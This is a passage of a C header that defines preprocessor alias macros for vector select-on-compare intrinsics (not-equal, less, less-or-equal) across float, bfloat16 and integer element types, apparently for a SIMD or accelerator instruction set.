v_i8_i8_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel_neq_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel_neq_v_s_v_v_b v_i8_i8_sel_neq_v_v_v_v_b\n#define v_i8_i8_sel_neq_v_v_v_s_b v_i8_i8_sel_neq_v_v_v_v_b\n#define v_i8_i8_sel_neq_v_v_v_v(a, b, c, d) v_i8_i8_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i8_i8_sel_neq_v_s_v_v v_i8_i8_sel_neq_v_v_v_v\n#define v_i8_i8_sel_neq_v_v_v_s v_i8_i8_sel_neq_v_v_v_v\n\n#define v_i8_i8_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel_neq_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel_neq_v_s_v_v_vb v_i8_i8_sel_neq_v_v_v_v_vb\n#define v_i8_i8_sel_neq_v_v_v_s_vb v_i8_i8_sel_neq_v_v_v_v_vb\n\n// i8 - u8\n#define v_u8_i8_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel_neq_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel_neq_v_s_v_v_b v_u8_i8_sel_neq_v_v_v_v_b\n#define v_u8_i8_sel_neq_v_v_v_s_b v_u8_i8_sel_neq_v_v_v_v_b\n#define v_u8_i8_sel_neq_v_v_v_v(a, b, c, d) v_u8_i8_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u8_i8_sel_neq_v_s_v_v v_u8_i8_sel_neq_v_v_v_v\n#define v_u8_i8_sel_neq_v_v_v_s v_u8_i8_sel_neq_v_v_v_v\n\n#define v_u8_i8_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel_neq_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel_neq_v_s_v_v_vb v_u8_i8_sel_neq_v_v_v_v_vb\n#define v_u8_i8_sel_neq_v_v_v_s_vb v_u8_i8_sel_neq_v_v_v_v_vb\n\n// u8 - i8\n#define v_i8_u8_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel_neq_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel_neq_v_s_v_v_b v_i8_u8_sel_neq_v_v_v_v_b\n#define v_i8_u8_sel_neq_v_v_v_s_b v_i8_u8_sel_neq_v_v_v_v_b\n#define v_i8_u8_sel_neq_v_v_v_v(a, b, c, d) v_i8_u8_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i8_u8_sel_neq_v_s_v_v v_i8_u8_sel_neq_v_v_v_v\n#define v_i8_u8_sel_neq_v_v_v_s v_i8_u8_sel_neq_v_v_v_v\n\n#define v_i8_u8_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel_neq_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel_neq_v_s_v_v_vb v_i8_u8_sel_neq_v_v_v_v_vb\n#define v_i8_u8_sel_neq_v_v_v_s_vb v_i8_u8_sel_neq_v_v_v_v_vb\n\n// u8 - u8\n#define v_u8_u8_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel_neq_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel_neq_v_s_v_v_b v_u8_u8_sel_neq_v_v_v_v_b\n#define v_u8_u8_sel_neq_v_v_v_s_b v_u8_u8_sel_neq_v_v_v_v_b\n#define v_u8_u8_sel_neq_v_v_v_v(a, b, c, d) v_u8_u8_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u8_u8_sel_neq_v_s_v_v v_u8_u8_sel_neq_v_v_v_v\n#define v_u8_u8_sel_neq_v_v_v_s v_u8_u8_sel_neq_v_v_v_v\n\n#define v_u8_u8_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel_neq_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel_neq_v_s_v_v_vb v_u8_u8_sel_neq_v_v_v_v_vb\n#define v_u8_u8_sel_neq_v_v_v_s_vb v_u8_u8_sel_neq_v_v_v_v_vb\n\n// SEL_LESS\n\n// f32 - f32\n#define v_f32_f32_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_less_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_f32_sel_less_v_s_v_v_b v_f32_f32_sel_less_v_v_v_v_b\n#define v_f32_f32_sel_less_v_v_v_s_b v_f32_f32_sel_less_v_v_v_v_b\n#define v_f32_f32_sel_less_v_v_v_v(a, b, c, d) v_f32_f32_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_f32_sel_less_v_s_v_v v_f32_f32_sel_less_v_v_v_v\n#define v_f32_f32_sel_less_v_v_v_s v_f32_f32_sel_less_v_v_v_v\n\n#define v_f32_f32_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_less_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_f32_sel_less_v_s_v_v_vb v_f32_f32_sel_less_v_v_v_v_vb\n#define v_f32_f32_sel_less_v_v_v_s_vb v_f32_f32_sel_less_v_v_v_v_vb\n\n// f32 - i32\n#define v_i32_f32_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_less_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_f32_sel_less_v_s_v_v_b v_i32_f32_sel_less_v_v_v_v_b\n#define v_i32_f32_sel_less_v_v_v_s_b v_i32_f32_sel_less_v_v_v_v_b\n#define v_i32_f32_sel_less_v_v_v_v(a, b, c, d) v_i32_f32_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_f32_sel_less_v_s_v_v v_i32_f32_sel_less_v_v_v_v\n#define v_i32_f32_sel_less_v_v_v_s v_i32_f32_sel_less_v_v_v_v\n\n#define v_i32_f32_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_less_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_f32_sel_less_v_s_v_v_vb v_i32_f32_sel_less_v_v_v_v_vb\n#define v_i32_f32_sel_less_v_v_v_s_vb v_i32_f32_sel_less_v_v_v_v_vb\n\n// f32 - u32\n#define v_u32_f32_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_less_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_f32_sel_less_v_s_v_v_b v_u32_f32_sel_less_v_v_v_v_b\n#define v_u32_f32_sel_less_v_v_v_s_b v_u32_f32_sel_less_v_v_v_v_b\n#define v_u32_f32_sel_less_v_v_v_v(a, b, c, d) v_u32_f32_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_f32_sel_less_v_s_v_v v_u32_f32_sel_less_v_v_v_v\n#define v_u32_f32_sel_less_v_v_v_s v_u32_f32_sel_less_v_v_v_v\n\n#define v_u32_f32_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_less_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_f32_sel_less_v_s_v_v_vb v_u32_f32_sel_less_v_v_v_v_vb\n#define v_u32_f32_sel_less_v_v_v_s_vb v_u32_f32_sel_less_v_v_v_v_vb\n\n// bf16 - bf16\n#define v_bf16_bf16_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_less_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_bf16_sel_less_v_s_v_v_b v_bf16_bf16_sel_less_v_v_v_v_b\n#define v_bf16_bf16_sel_less_v_v_v_s_b v_bf16_bf16_sel_less_v_v_v_v_b\n#define v_bf16_bf16_sel_less_v_v_v_v(a, b, c, d) v_bf16_bf16_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_bf16_sel_less_v_s_v_v v_bf16_bf16_sel_less_v_v_v_v\n#define v_bf16_bf16_sel_less_v_v_v_s v_bf16_bf16_sel_less_v_v_v_v\n\n#define v_bf16_bf16_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_less_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_bf16_sel_less_v_s_v_v_vb v_bf16_bf16_sel_less_v_v_v_v_vb\n#define v_bf16_bf16_sel_less_v_v_v_s_vb v_bf16_bf16_sel_less_v_v_v_v_vb\n\n// bf16 - i16\n#define v_i16_bf16_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_less_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_bf16_sel_less_v_s_v_v_b v_i16_bf16_sel_less_v_v_v_v_b\n#define v_i16_bf16_sel_less_v_v_v_s_b v_i16_bf16_sel_less_v_v_v_v_b\n#define v_i16_bf16_sel_less_v_v_v_v(a, b, c, d) v_i16_bf16_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_bf16_sel_less_v_s_v_v v_i16_bf16_sel_less_v_v_v_v\n#define v_i16_bf16_sel_less_v_v_v_s v_i16_bf16_sel_less_v_v_v_v\n\n#define v_i16_bf16_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_less_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_bf16_sel_less_v_s_v_v_vb v_i16_bf16_sel_less_v_v_v_v_vb\n#define v_i16_bf16_sel_less_v_v_v_s_vb v_i16_bf16_sel_less_v_v_v_v_vb\n\n// bf16 - u16\n#define v_u16_bf16_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_less_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_bf16_sel_less_v_s_v_v_b v_u16_bf16_sel_less_v_v_v_v_b\n#define v_u16_bf16_sel_less_v_v_v_s_b v_u16_bf16_sel_less_v_v_v_v_b\n#define v_u16_bf16_sel_less_v_v_v_v(a, b, c, d) v_u16_bf16_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_bf16_sel_less_v_s_v_v v_u16_bf16_sel_less_v_v_v_v\n#define v_u16_bf16_sel_less_v_v_v_s v_u16_bf16_sel_less_v_v_v_v\n\n#define v_u16_bf16_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_less_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_bf16_sel_less_v_s_v_v_vb v_u16_bf16_sel_less_v_v_v_v_vb\n#define v_u16_bf16_sel_less_v_v_v_s_vb v_u16_bf16_sel_less_v_v_v_v_vb\n\n// i32 - f32\n#define v_f32_i32_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_less_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_i32_sel_less_v_s_v_v_b v_f32_i32_sel_less_v_v_v_v_b\n#define v_f32_i32_sel_less_v_v_v_s_b v_f32_i32_sel_less_v_v_v_v_b\n#define v_f32_i32_sel_less_v_v_v_v(a, b, c, d) v_f32_i32_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_i32_sel_less_v_s_v_v v_f32_i32_sel_less_v_v_v_v\n#define v_f32_i32_sel_less_v_v_v_s v_f32_i32_sel_less_v_v_v_v\n\n#define v_f32_i32_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_less_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_i32_sel_less_v_s_v_v_vb v_f32_i32_sel_less_v_v_v_v_vb\n#define v_f32_i32_sel_less_v_v_v_s_vb v_f32_i32_sel_less_v_v_v_v_vb\n\n// i32 - i32\n#define v_i32_i32_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_less_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_i32_sel_less_v_s_v_v_b v_i32_i32_sel_less_v_v_v_v_b\n#define v_i32_i32_sel_less_v_v_v_s_b v_i32_i32_sel_less_v_v_v_v_b\n#define v_i32_i32_sel_less_v_v_v_v(a, b, c, d) v_i32_i32_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_i32_sel_less_v_s_v_v v_i32_i32_sel_less_v_v_v_v\n#define v_i32_i32_sel_less_v_v_v_s v_i32_i32_sel_less_v_v_v_v\n\n#define v_i32_i32_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_less_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_i32_sel_less_v_s_v_v_vb v_i32_i32_sel_less_v_v_v_v_vb\n#define v_i32_i32_sel_less_v_v_v_s_vb v_i32_i32_sel_less_v_v_v_v_vb\n\n// i32 - u32\n#define v_u32_i32_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_less_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_i32_sel_less_v_s_v_v_b v_u32_i32_sel_less_v_v_v_v_b\n#define v_u32_i32_sel_less_v_v_v_s_b v_u32_i32_sel_less_v_v_v_v_b\n#define v_u32_i32_sel_less_v_v_v_v(a, b, c, d) v_u32_i32_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_i32_sel_less_v_s_v_v v_u32_i32_sel_less_v_v_v_v\n#define v_u32_i32_sel_less_v_v_v_s v_u32_i32_sel_less_v_v_v_v\n\n#define v_u32_i32_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_less_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_i32_sel_less_v_s_v_v_vb v_u32_i32_sel_less_v_v_v_v_vb\n#define v_u32_i32_sel_less_v_v_v_s_vb v_u32_i32_sel_less_v_v_v_v_vb\n\n// u32 - f32\n#define v_f32_u32_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_less_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_u32_sel_less_v_s_v_v_b v_f32_u32_sel_less_v_v_v_v_b\n#define v_f32_u32_sel_less_v_v_v_s_b v_f32_u32_sel_less_v_v_v_v_b\n#define v_f32_u32_sel_less_v_v_v_v(a, b, c, d) v_f32_u32_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_u32_sel_less_v_s_v_v v_f32_u32_sel_less_v_v_v_v\n#define v_f32_u32_sel_less_v_v_v_s v_f32_u32_sel_less_v_v_v_v\n\n#define v_f32_u32_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_less_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_u32_sel_less_v_s_v_v_vb v_f32_u32_sel_less_v_v_v_v_vb\n#define v_f32_u32_sel_less_v_v_v_s_vb v_f32_u32_sel_less_v_v_v_v_vb\n\n// u32 - i32\n#define v_i32_u32_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_less_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_u32_sel_less_v_s_v_v_b v_i32_u32_sel_less_v_v_v_v_b\n#define v_i32_u32_sel_less_v_v_v_s_b v_i32_u32_sel_less_v_v_v_v_b\n#define v_i32_u32_sel_less_v_v_v_v(a, b, c, d) v_i32_u32_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_u32_sel_less_v_s_v_v v_i32_u32_sel_less_v_v_v_v\n#define v_i32_u32_sel_less_v_v_v_s v_i32_u32_sel_less_v_v_v_v\n\n#define v_i32_u32_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_less_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_u32_sel_less_v_s_v_v_vb v_i32_u32_sel_less_v_v_v_v_vb\n#define v_i32_u32_sel_less_v_v_v_s_vb v_i32_u32_sel_less_v_v_v_v_vb\n\n// u32 - u32\n#define v_u32_u32_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_less_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_u32_sel_less_v_s_v_v_b v_u32_u32_sel_less_v_v_v_v_b\n#define v_u32_u32_sel_less_v_v_v_s_b v_u32_u32_sel_less_v_v_v_v_b\n#define v_u32_u32_sel_less_v_v_v_v(a, b, c, d) v_u32_u32_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_u32_sel_less_v_s_v_v v_u32_u32_sel_less_v_v_v_v\n#define v_u32_u32_sel_less_v_v_v_s v_u32_u32_sel_less_v_v_v_v\n\n#define v_u32_u32_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_less_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_u32_sel_less_v_s_v_v_vb v_u32_u32_sel_less_v_v_v_v_vb\n#define v_u32_u32_sel_less_v_v_v_s_vb v_u32_u32_sel_less_v_v_v_v_vb\n\n// i16 - bf16\n#define v_bf16_i16_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_less_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_i16_sel_less_v_s_v_v_b v_bf16_i16_sel_less_v_v_v_v_b\n#define v_bf16_i16_sel_less_v_v_v_s_b v_bf16_i16_sel_less_v_v_v_v_b\n#define v_bf16_i16_sel_less_v_v_v_v(a, b, c, d) v_bf16_i16_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_i16_sel_less_v_s_v_v v_bf16_i16_sel_less_v_v_v_v\n#define v_bf16_i16_sel_less_v_v_v_s v_bf16_i16_sel_less_v_v_v_v\n\n#define v_bf16_i16_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_less_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_i16_sel_less_v_s_v_v_vb v_bf16_i16_sel_less_v_v_v_v_vb\n#define v_bf16_i16_sel_less_v_v_v_s_vb v_bf16_i16_sel_less_v_v_v_v_vb\n\n// i16 - i16\n#define v_i16_i16_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_less_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_i16_sel_less_v_s_v_v_b v_i16_i16_sel_less_v_v_v_v_b\n#define v_i16_i16_sel_less_v_v_v_s_b v_i16_i16_sel_less_v_v_v_v_b\n#define v_i16_i16_sel_less_v_v_v_v(a, b, c, d) v_i16_i16_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_i16_sel_less_v_s_v_v v_i16_i16_sel_less_v_v_v_v\n#define v_i16_i16_sel_less_v_v_v_s v_i16_i16_sel_less_v_v_v_v\n\n#define v_i16_i16_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_less_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_i16_sel_less_v_s_v_v_vb v_i16_i16_sel_less_v_v_v_v_vb\n#define v_i16_i16_sel_less_v_v_v_s_vb v_i16_i16_sel_less_v_v_v_v_vb\n\n// i16 - u16\n#define v_u16_i16_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_less_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_i16_sel_less_v_s_v_v_b v_u16_i16_sel_less_v_v_v_v_b\n#define v_u16_i16_sel_less_v_v_v_s_b v_u16_i16_sel_less_v_v_v_v_b\n#define v_u16_i16_sel_less_v_v_v_v(a, b, c, d) v_u16_i16_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_i16_sel_less_v_s_v_v v_u16_i16_sel_less_v_v_v_v\n#define v_u16_i16_sel_less_v_v_v_s v_u16_i16_sel_less_v_v_v_v\n\n#define v_u16_i16_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_less_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_i16_sel_less_v_s_v_v_vb v_u16_i16_sel_less_v_v_v_v_vb\n#define v_u16_i16_sel_less_v_v_v_s_vb v_u16_i16_sel_less_v_v_v_v_vb\n\n// u16 - bf16\n#define v_bf16_u16_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_less_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_u16_sel_less_v_s_v_v_b v_bf16_u16_sel_less_v_v_v_v_b\n#define v_bf16_u16_sel_less_v_v_v_s_b v_bf16_u16_sel_less_v_v_v_v_b\n#define v_bf16_u16_sel_less_v_v_v_v(a, b, c, d) v_bf16_u16_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_u16_sel_less_v_s_v_v v_bf16_u16_sel_less_v_v_v_v\n#define v_bf16_u16_sel_less_v_v_v_s v_bf16_u16_sel_less_v_v_v_v\n\n#define v_bf16_u16_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_less_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_u16_sel_less_v_s_v_v_vb v_bf16_u16_sel_less_v_v_v_v_vb\n#define v_bf16_u16_sel_less_v_v_v_s_vb v_bf16_u16_sel_less_v_v_v_v_vb\n\n// u16 - i16\n#define v_i16_u16_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_less_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_u16_sel_less_v_s_v_v_b v_i16_u16_sel_less_v_v_v_v_b\n#define v_i16_u16_sel_less_v_v_v_s_b v_i16_u16_sel_less_v_v_v_v_b\n#define v_i16_u16_sel_less_v_v_v_v(a, b, c, d) v_i16_u16_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_u16_sel_less_v_s_v_v v_i16_u16_sel_less_v_v_v_v\n#define v_i16_u16_sel_less_v_v_v_s v_i16_u16_sel_less_v_v_v_v\n\n#define v_i16_u16_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_less_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_u16_sel_less_v_s_v_v_vb v_i16_u16_sel_less_v_v_v_v_vb\n#define v_i16_u16_sel_less_v_v_v_s_vb v_i16_u16_sel_less_v_v_v_v_vb\n\n// u16 - u16\n#define v_u16_u16_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_less_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_u16_sel_less_v_s_v_v_b v_u16_u16_sel_less_v_v_v_v_b\n#define v_u16_u16_sel_less_v_v_v_s_b v_u16_u16_sel_less_v_v_v_v_b\n#define v_u16_u16_sel_less_v_v_v_v(a, b, c, d) v_u16_u16_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_u16_sel_less_v_s_v_v v_u16_u16_sel_less_v_v_v_v\n#define v_u16_u16_sel_less_v_v_v_s v_u16_u16_sel_less_v_v_v_v\n\n#define v_u16_u16_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_less_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_u16_sel_less_v_s_v_v_vb v_u16_u16_sel_less_v_v_v_v_vb\n#define v_u16_u16_sel_less_v_v_v_s_vb v_u16_u16_sel_less_v_v_v_v_vb\n\n// i8 - u8\n#define v_i8_i8_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel_less_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel_less_v_s_v_v_b v_i8_i8_sel_less_v_v_v_v_b\n#define v_i8_i8_sel_less_v_v_v_s_b v_i8_i8_sel_less_v_v_v_v_b\n#define v_i8_i8_sel_less_v_v_v_v(a, b, c, d) v_i8_i8_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i8_i8_sel_less_v_s_v_v v_i8_i8_sel_less_v_v_v_v\n#define v_i8_i8_sel_less_v_v_v_s v_i8_i8_sel_less_v_v_v_v\n\n#define v_i8_i8_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel_less_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel_less_v_s_v_v_vb v_i8_i8_sel_less_v_v_v_v_vb\n#define v_i8_i8_sel_less_v_v_v_s_vb v_i8_i8_sel_less_v_v_v_v_vb\n\n// i8 - u8\n#define v_u8_i8_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel_less_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel_less_v_s_v_v_b v_u8_i8_sel_less_v_v_v_v_b\n#define v_u8_i8_sel_less_v_v_v_s_b v_u8_i8_sel_less_v_v_v_v_b\n#define v_u8_i8_sel_less_v_v_v_v(a, b, c, d) v_u8_i8_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u8_i8_sel_less_v_s_v_v v_u8_i8_sel_less_v_v_v_v\n#define v_u8_i8_sel_less_v_v_v_s v_u8_i8_sel_less_v_v_v_v\n\n#define v_u8_i8_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel_less_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel_less_v_s_v_v_vb v_u8_i8_sel_less_v_v_v_v_vb\n#define v_u8_i8_sel_less_v_v_v_s_vb v_u8_i8_sel_less_v_v_v_v_vb\n\n// u8 - i8\n#define v_i8_u8_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel_less_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel_less_v_s_v_v_b v_i8_u8_sel_less_v_v_v_v_b\n#define v_i8_u8_sel_less_v_v_v_s_b v_i8_u8_sel_less_v_v_v_v_b\n#define v_i8_u8_sel_less_v_v_v_v(a, b, c, d) v_i8_u8_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i8_u8_sel_less_v_s_v_v v_i8_u8_sel_less_v_v_v_v\n#define v_i8_u8_sel_less_v_v_v_s v_i8_u8_sel_less_v_v_v_v\n\n#define v_i8_u8_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel_less_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel_less_v_s_v_v_vb v_i8_u8_sel_less_v_v_v_v_vb\n#define v_i8_u8_sel_less_v_v_v_s_vb v_i8_u8_sel_less_v_v_v_v_vb\n\n// u8 - u8\n#define v_u8_u8_sel_less_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel_less_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel_less_v_s_v_v_b v_u8_u8_sel_less_v_v_v_v_b\n#define v_u8_u8_sel_less_v_v_v_s_b v_u8_u8_sel_less_v_v_v_v_b\n#define v_u8_u8_sel_less_v_v_v_v(a, b, c, d) v_u8_u8_sel_less_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u8_u8_sel_less_v_s_v_v v_u8_u8_sel_less_v_v_v_v\n#define v_u8_u8_sel_less_v_v_v_s v_u8_u8_sel_less_v_v_v_v\n\n#define v_u8_u8_sel_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel_less_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel_less_v_s_v_v_vb v_u8_u8_sel_less_v_v_v_v_vb\n#define v_u8_u8_sel_less_v_v_v_s_vb v_u8_u8_sel_less_v_v_v_v_vb\n\n\n// SEL_LEQ\n\n// f32 - f32\n#define v_f32_f32_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_leq_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_f32_sel_leq_v_s_v_v_b v_f32_f32_sel_leq_v_v_v_v_b\n#define v_f32_f32_sel_leq_v_v_v_s_b v_f32_f32_sel_leq_v_v_v_v_b\n#define v_f32_f32_sel_leq_v_v_v_v(a, b, c, d) v_f32_f32_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_f32_sel_leq_v_s_v_v v_f32_f32_sel_leq_v_v_v_v\n#define v_f32_f32_sel_leq_v_v_v_s v_f32_f32_sel_leq_v_v_v_v\n\n#define v_f32_f32_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_leq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_f32_sel_leq_v_s_v_v_vb v_f32_f32_sel_leq_v_v_v_v_vb\n#define v_f32_f32_sel_leq_v_v_v_s_vb v_f32_f32_sel_leq_v_v_v_v_vb\n\n// f32 - i32\n#define v_i32_f32_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_leq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_f32_sel_leq_v_s_v_v_b v_i32_f32_sel_leq_v_v_v_v_b\n#define v_i32_f32_sel_leq_v_v_v_s_b v_i32_f32_sel_leq_v_v_v_v_b\n#define v_i32_f32_sel_leq_v_v_v_v(a, b, c, d) v_i32_f32_sel_leq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_f32_sel_leq_v_s_v_v v_i32_f32_sel_leq_v_v_v_v\n#define v_i32_f32_sel_leq_v_v_v_s v_i32_f32_sel_leq_v_v_v_v\n\n#define v_i32_f32_sel_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_leq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_f32_sel_leq_v_s_v_v_vb v_i32_f32_sel_leq_v_v_v_v_vb\n#define v_i32_f32_sel_leq_v_v_v_s_vb v_i32_f32_sel_leq_v_v_v_v_vb\n\n// f32 - u32\n#define v_u32_f32_sel_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_leq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_f32_sel_leq_v_s_v_v_b v_u32_f32_sel_leq_v_v_v_v_b\n#define 